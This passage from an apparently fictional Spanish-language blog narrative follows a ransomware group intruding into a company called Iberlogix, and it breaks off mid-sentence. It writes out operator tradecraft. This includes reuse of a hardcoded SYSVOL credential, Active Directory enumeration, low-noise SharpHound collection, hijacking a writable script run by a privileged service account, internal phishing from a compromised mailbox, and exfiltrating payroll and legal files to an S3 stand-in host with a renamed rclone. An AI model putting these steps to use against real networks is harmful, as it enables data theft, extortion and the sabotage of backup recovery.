En `SYSVOL`, un script antiguo de login:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;\\IBERLOGIX.LOCAL\SYSVOL\IBERLOGIX.LOCAL\scripts\map_sap_drives.bat
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Contenido:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;net use S: \\sap-share-01\exports /user:IBERLOGIX\sap_ro Iber2023Read!
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La contraseña llevaba años allí. El usuario `sap_ro` era teóricamente de solo lectura, pero en la práctica tenía acceso a exportaciones de SAP con información financiera, proveedores, facturas y reportes.

Knifewall no celebró. Documentó.&lt;/div&gt;&lt;div&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Finding: hardcoded credential in SYSVOL
Account: IBERLOGIX\sap_ro
Privilege: read SAP exports
Use: data access, pivot candidate
Risk: low-noise
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Probaron la credencial sin generar ruido:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;net use \\sap-share-01\exports /user:IBERLOGIX\sap_ro Iber2023Read!
dir \\sap-share-01\exports\2026
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Funcionó.

Hollow, el operador de exfiltración, entró en la campaña.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Credenciales no son contraseñas: son contexto&lt;/h4&gt;&lt;div&gt;El siguiente paso fue entender sesiones. Los shares de finanzas revelaban nombres de servidores y usuarios. Los documentos internos revelaban nomenclatura:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;FS-MAD-04
SAP-SHARE-01
VEEAM-MAD-01
DC-MAD-01
DC-LIS-01
SCCM-PRI-01
JMP-ADM-02
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El nombre `JMP-ADM-02` era interesante: jump server administrativo.

Knifewall no podía acceder directamente. Pero podía buscar rastros:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;dir \\fs-mad-04\finance\IT-Billing
dir \\fs-mad-04\finance\Audit
findstr /S /I &quot;JMP-ADM VEEAM SCCM admin&quot; \\fs-mad-04\finance\*.txt
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Encontraron una hoja Excel de auditoria con columnas mal protegidas. Incluía grupos:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;IT-Backup-Admins
IT-Workstation-Admins
SAP-Basis-Operators
Tier1-Helpdesk
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Y un comentario:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Pendiente retirar a j.ruiz de IT-Backup-Admins tras migración TransIber.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El usuario `j.ruiz` pertenecía a la filial adquirida. Las adquisiciones dejan permisos como una marea deja basura.

Consulta LDAP:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;([adsisearcher]&quot;(sAMAccountName=j.ruiz)&quot;).FindOne().Properties.memberof
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Resultado:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;CN=IT-Backup-Admins,OU=Groups,DC=iberlogix,DC=local
CN=VPN-Employees,OU=Groups,DC=iberlogix,DC=local
CN=TransIber-IT,OU=Groups,DC=iberlogix,DC=local
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El plan cambió: obtener credenciales o sesión de `j.ruiz`.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk5mtQ6zOt-oYHY2ySsrMGtAvp-5PGBIbYLs8XXWCnREhjGNqsykg6mXeu-zJEKpRGgVjnAs9Cfg3VZyJPz3NJ_mISsEylUNV6cgigjaM22W9anaHZUvSuzFKf71ArbgTZXvb-1_0FmSk13p1if3T7aFcKmGShXWuYhmeacwA-dGu23BOcX6deSHWpXOVW/s1024/transiber_javier_oficina.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;559&quot; data-original-width=&quot;1024&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk5mtQ6zOt-oYHY2ySsrMGtAvp-5PGBIbYLs8XXWCnREhjGNqsykg6mXeu-zJEKpRGgVjnAs9Cfg3VZyJPz3NJ_mISsEylUNV6cgigjaM22W9anaHZUvSuzFKf71ArbgTZXvb-1_0FmSk13p1if3T7aFcKmGShXWuYhmeacwA-dGu23BOcX6deSHWpXOVW/w640-h350/transiber_javier_oficina.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Cloud primero: Meridian abre el correo&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Mientras Knifewall miraba AD, Meridian trabajaba M365.&amp;nbsp;&lt;/div&gt;&lt;div&gt;La ruta A del phishing había capturado una sesión parcial de Marta. MFA impidió login directo permanente, pero el flujo había expuesto información suficiente para intentar algo mejor: reglas de correo, OAuth consent y búsqueda de documentos.

Meridian uso el token capturado antes de que expirara para enumerar datos básicos:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Mailbox: marta.solis@iberlogix.example
MFA: yes
Conditional Access: medium
Device compliance: required for some apps
OneDrive: active
SharePoint finance sites: accessible
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Lo mas valioso fue el correo. En Outlook, las conversaciones sobre la migración de TransIber mencionaban a `j.ruiz`. Marta había recibido mensajes de Javier Ruiz, técnico de integración, con adjuntos de inventario.

Nebula Jackal preparó un segundo phishing, interno, desde la cuenta de Marta. Mucho mas pequeño. Solo tres destinatarios. Uno era Javier.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9F5f4hZNOweAl1jysrsXE3O0QPrLg1soMidbg2BGhHo79XqUB-Hq6WxDub5O_LVogqyf-yrzh1nXrfoVojx62FdgUHvWS-jBKPITw3IFGuvYFPIE_lrFtEUn0RcD3LUMyWaIGVcSo9OGL_b441lG0rR6NHYy43qQsroGgO0onL-2LK0i_Ml2jnDQusSQp/s1024/transiber_marta_correo.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;559&quot; data-original-width=&quot;1024&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9F5f4hZNOweAl1jysrsXE3O0QPrLg1soMidbg2BGhHo79XqUB-Hq6WxDub5O_LVogqyf-yrzh1nXrfoVojx62FdgUHvWS-jBKPITw3IFGuvYFPIE_lrFtEUn0RcD3LUMyWaIGVcSo9OGL_b441lG0rR6NHYy43qQsroGgO0onL-2LK0i_Ml2jnDQusSQp/w640-h350/transiber_marta_correo.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;

El enlace llevaba a una landing interna falsa con documento compartido. Javier, saturado por la integración, hizo clic.

Esta vez no hizo falta malware. La ruta capturó credenciales y un token útil.&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Del usuario al backup&lt;/h4&gt;&lt;div&gt;Con acceso de Javier por VPN, Nebula Jackal tenía una identidad con permisos de backup. El objetivo era **VEEAM-MAD-01**.

Primero comprobaron pertenencia:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;whoami /groups
net localgroup administrators /domain
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Después probaron acceso remoto con bajo ruido:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Test-NetConnection VEEAM-MAD-01 -Port 5985
Test-NetConnection VEEAM-MAD-01 -Port 445
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

WinRM estaba abierto desde ciertos segmentos. Desde el portátil de Marta no. Desde la VPN de Javier, si.

El operador creó un canal separado. No quería mezclar la máquina de Marta con acciones administrativas. Usó el acceso de Javier desde un nodo de infraestructura que imitaba VPN residencial europea, respetando horarios.

Los comandos fueron:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Enter-PSSession -ComputerName VEEAM-MAD-01 -Credential IBERLOGIX\j.ruiz
hostname
whoami /all
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Javier no era administrador local directamente. Pero pertenecía a `IT-Backup-Admins`, y ese grupo tenía permisos dentro de Veeam.

El servidor Veeam era una mina. En muchas empresas, el backup ve todo porque debe copiar todo. Si comprometes backup, no solo puedes robar datos; puedes destruir la recuperación.

Knifewall no borró backups aún. Primero enumeró:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Get-ChildItem &quot;C:\Program Files\Veeam\Backup and Replication\Backup&quot;
Get-Service | Where-Object {$_.Name -like &quot;*Veeam*&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Hollow buscó configuraciones:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;dir &quot;C:\ProgramData\Veeam&quot; -Recurse -ErrorAction SilentlyContinue
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;El hallazgo crítico fue una base de datos local de configuración y scripts de mantenimiento con credenciales de repositorios. Otro hilo suelto.&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;BloodHound, pero tarde y con guantes&lt;/h4&gt;&lt;div&gt;Solo después de varios días lanzaron recolección tipo BloodHound. No desde el portátil inicial. No con parámetros ruidosos. No contra todo.

Usaron SharpHound en modo limitado:&lt;/div&gt;&lt;div&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;SharpHound.exe -c Group,Session,LocalAdmin,Trusts,ACL `
  --Throttle 1500 `
  --Jitter 30 `
  --RandomFileNames `
  --OutputDirectory C:\ProgramData\Microsoft\Crypto\Cache
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Los datos se comprimieron, cifraron y salieron en fragmentos pequeños.

El grafo reveló una ruta:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;j.ruiz
  -&amp;gt; MemberOf IT-Backup-Admins
  -&amp;gt; AdminTo VEEAM-MAD-01
  -&amp;gt; HasSession svc_veeam
  -&amp;gt; MemberOf Backup-Operators
  -&amp;gt; GenericAll over GPO &quot;Server Backup Policy&quot;
  -&amp;gt; linked to OU=Servers
&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjznPt8Zg_GByoRBv4GfvJBWPra0tNRyyxlS_wFnBrmJSrId3_qjFyFbbMA_FN71WQSFOmL2etCkGuEhNeAbHyB2v6R5bkcbdmSQMlQurEpPjhmk2FyPIdJvam_XXheq5P3k2EgKIylD56wVH2uiGnNXQ7-K73-1ClkfctoEEY9gi6WyJQoEoB2tRDz2hK2/s1024/transiber_javier_bloodhound.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;559&quot; data-original-width=&quot;1024&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjznPt8Zg_GByoRBv4GfvJBWPra0tNRyyxlS_wFnBrmJSrId3_qjFyFbbMA_FN71WQSFOmL2etCkGuEhNeAbHyB2v6R5bkcbdmSQMlQurEpPjhmk2FyPIdJvam_XXheq5P3k2EgKIylD56wVH2uiGnNXQ7-K73-1ClkfctoEEY9gi6WyJQoEoB2tRDz2hK2/w640-h350/transiber_javier_bloodhound.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Y otra:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;SCCM-PRI-01
  -&amp;gt; client push account stored
  -&amp;gt; local admin on workstation fleet&lt;/code&gt;&lt;/pre&gt;

El SCCM era tentador. Pero tocar SCCM podía generar mucho ruido. Guardaron esa ruta para despliegue final.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Escalada por servicios, tokens y paciencia&amp;nbsp;&lt;/b&gt;&lt;/h4&gt;&lt;div&gt;En VEEAM-MAD-01 había una sesión de `svc_veeam`. El servicio tenía permisos amplios sobre repositorios y algunos servidores.

Intentar dumpear LSASS era ruidoso. Knifewall probó alternativas:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Enumerar procesos con tokens accesibles
2. Revisar servicios con rutas modificables
3. Buscar credenciales DPAPI accesibles
4. Revisar tareas programadas
5. Revisar scripts de backup
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Comandos:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;schtasks /query /fo LIST /v
Get-ChildItem C:\Scripts -Recurse
Get-Acl C:\Scripts\*.ps1
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Y encontraron:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;C:\Scripts\post_backup_sync.ps1
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Ejecutado por una tarea programada como `IBERLOGIX\svc_veeam`. Permisos:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;BUILTIN\Users: Read, Write
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Era un fallo de libro: script escribible ejecutado por cuenta privilegiada.

No insertaron una reverse shell evidente. Insertaron una modificación mínima que exportaba un token DPAPI protegido y creaba una tarea temporal controlada. Después restauraron el script.

Pseudoflujo:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;backup original script
append minimal command
wait scheduled execution
collect output
restore original script
delete transient artifacts
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Con `svc_veeam`, accedieron a repositorios y servidores de backup. Descubrieron que algunos backups eran inmutables, pero otros no. La recuperación no estaba perdida, pero si degradada.

The Curator marcó:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;backup_pressure: medium-high
do_not_destroy_all: keep recovery plausible
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Un ransomware que destruye absolutamente todo reduce la posibilidad de pago si la victima piensa que nada funcionará. Nebula Jackal prefería dejar una salida: pagar o sufrir semanas.&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Exfiltracion: robar sin parecer robo&lt;/h4&gt;&lt;div&gt;Hollow empezó por clasificar datos. No sacó todo. Sacó lo que servía para presionar.

Búsquedas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Get-ChildItem \\fs-mad-04\finance -Recurse -Include *.xlsx,*.pdf,*.docx |
  Where-Object {$_.Length -gt 10KB -and $_.Length -lt 100MB}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Patrones:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;contrato
nomina
payroll
audit
legal
litigation
merger
transiber
board
insurance
cyber
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Encontraron:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;\\fs-mad-04\finance\Board\2026_Q1_Cashflow.xlsx
\\fs-mad-04\finance\Payroll\ES\Nominas_Marzo_2026.xlsx
\\fs-mad-04\finance\Insurance\CyberPolicy_2026.pdf
\\sap-share-01\exports\vendors_full_2026.csv
\\legal-mad-01\cases\TransIber_Acquisition_Disputes.docx
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El documento de seguro ciber era especialmente valioso. Revelaba cobertura, retención, contactos de broker y limites. Vesper lo usaría después.

Para exfiltrar, usaron `rclone` renombrado como binario interno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;C:\ProgramData\Microsoft\EdgeUpdate\edgecache.exe
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Configuración cifrada:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;[stage]
type = s3
provider = Other
access_key_id = &lt;burner&gt;
secret_access_key = &lt;burner&gt;
endpoint = https://s3-compatible-node.example
acl = private
&lt;/burner&gt;&lt;/burner&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Comando:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;edgecache.exe copy &quot;\\fs-mad-04\finance\Payroll&quot; stage:iberlogix-a1/payroll `
  --transfers 3 `
  --checkers 4 `
  --bwlimit 8M `
  --log-file C:\ProgramData\Microsoft\EdgeUpdate\edgecache.log
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

No usaban ancho de banda máximo. Usaban ritmo de backup. La exfiltración ocurría entre las 23:00 y las 05:00, mezclada con ventanas reales de sincronización. El volúmen fina fue:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Payroll: 420 GB
Legal: 310 GB
Finance: 860 GB
SAP exports: 1.1 TB
Executive mail exports: 180 GB
Total staged: 2.87 TB
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Cada lote tenía manifiesto:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;lot&quot;: &quot;legal_03&quot;,
  &quot;files&quot;: 18421,
  &quot;bytes&quot;: 332871992102,
  &quot;sha256_manifest&quot;: &quot;...&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El manifiesto permitía demostrar robo sin mostrar todo.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El dominio cae sin hacer ruido&lt;/h4&gt;&lt;div&gt;La ruta a Domain Admin no fue un exploit. Fue una cadena.

En un servidor de administración, `JMP-ADM-02`, encontraron una sesión de un administrador de dominio durante una ventana de mantenimiento. No dumpearon LSASS directamente. Usaron token impersonation para ejecutar consultas y crear un acceso persistente temporal.

El grupo objetivo:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;GPO-Deployment-Admins
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Tenía permisos para modificar una GPO vinculada a workstations. No era Domain Admin, pero para despliegue final era suficiente.

Abuso:

